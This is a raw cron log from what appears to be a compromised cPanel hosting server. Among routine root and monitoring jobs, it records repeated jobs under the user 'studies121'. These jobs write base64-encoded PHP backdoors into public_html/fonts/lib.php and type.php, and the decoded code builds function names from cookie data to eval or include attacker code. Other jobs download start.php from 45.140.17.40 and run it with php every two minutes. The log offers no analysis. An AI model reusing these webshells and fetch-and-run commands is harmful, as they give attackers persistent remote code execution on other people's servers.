Sep  1 06:00:01 ip-184-168-122-23 CROND[31234]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 06:01:01 ip-184-168-122-23 CROND[31531]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 06:01:01 ip-184-168-122-23 CROND[31532]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:01:01 ip-184-168-122-23 CROND[31535]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 06:01:01 ip-184-168-122-23 CROND[31533]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:01:01 ip-184-168-122-23 CROND[31538]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 06:01:01 ip-184-168-122-23 CROND[31534]: (root) CMD (run-parts /etc/cron.hourly)
Sep  1 06:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[31534]: starting 0anacron
Sep  1 06:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[31553]: finished 0anacron
Sep  1 06:02:01 ip-184-168-122-23 CROND[31667]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 06:02:01 ip-184-168-122-23 CROND[31670]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:02:01 ip-184-168-122-23 CROND[31673]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 06:02:01 ip-184-168-122-23 CROND[31674]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:02:01 ip-184-168-122-23 CROND[31677]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 06:03:01 ip-184-168-122-23 CROND[31790]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 06:03:01 ip-184-168-122-23 CROND[31792]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:03:01 ip-184-168-122-23 CROND[31791]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 06:03:01 ip-184-168-122-23 CROND[31793]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:04:01 ip-184-168-122-23 CROND[31908]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 06:04:01 ip-184-168-122-23 CROND[31910]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:04:01 ip-184-168-122-23 CROND[31911]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:04:01 ip-184-168-122-23 CROND[31913]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 06:04:01 ip-184-168-122-23 CROND[31912]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 06:05:01 ip-184-168-122-23 CROND[32021]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:05:01 ip-184-168-122-23 CROND[32023]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 06:05:01 ip-184-168-122-23 CROND[32025]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 06:05:01 ip-184-168-122-23 CROND[32026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:05:01 ip-184-168-122-23 CROND[32028]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 06:05:01 ip-184-168-122-23 CROND[32030]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 06:05:01 ip-184-168-122-23 CROND[32029]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 06:06:01 ip-184-168-122-23 CROND[32218]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:06:01 ip-184-168-122-23 CROND[32217]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 06:06:01 ip-184-168-122-23 CROND[32220]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 06:06:01 ip-184-168-122-23 CROND[32221]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:06:01 ip-184-168-122-23 CROND[32225]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 06:07:01 ip-184-168-122-23 CROND[32343]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 06:07:01 ip-184-168-122-23 CROND[32344]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:07:01 ip-184-168-122-23 CROND[32345]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 06:07:01 ip-184-168-122-23 CROND[32346]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:08:01 ip-184-168-122-23 CROND[32457]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:08:01 ip-184-168-122-23 CROND[32459]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 06:08:01 ip-184-168-122-23 CROND[32461]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:08:01 ip-184-168-122-23 CROND[32463]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 06:08:02 ip-184-168-122-23 CROND[32464]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 06:09:01 ip-184-168-122-23 CROND[32582]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:09:01 ip-184-168-122-23 CROND[32583]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 06:09:01 ip-184-168-122-23 CROND[32588]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 06:09:01 ip-184-168-122-23 CROND[32589]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:09:01 ip-184-168-122-23 CROND[32590]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 06:10:01 ip-184-168-122-23 CROND[32695]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 06:10:01 ip-184-168-122-23 CROND[32693]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 06:10:01 ip-184-168-122-23 CROND[32697]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 06:10:01 ip-184-168-122-23 CROND[32701]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 06:10:01 ip-184-168-122-23 CROND[32702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 06:10:01 ip-184-168-122-23 CROND[32704]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 06:10:01 ip-184-168-122-23 CROND[32703]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:10:01 ip-184-168-122-23 CROND[32705]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:11:01 ip-184-168-122-23 CROND[474]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 06:11:01 ip-184-168-122-23 CROND[478]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 06:11:01 ip-184-168-122-23 CROND[479]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:11:01 ip-184-168-122-23 CROND[482]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:12:01 ip-184-168-122-23 CROND[651]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 06:12:01 ip-184-168-122-23 CROND[653]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 06:12:01 ip-184-168-122-23 CROND[656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 06:12:01 ip-184-168-122-23 CROND[657]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
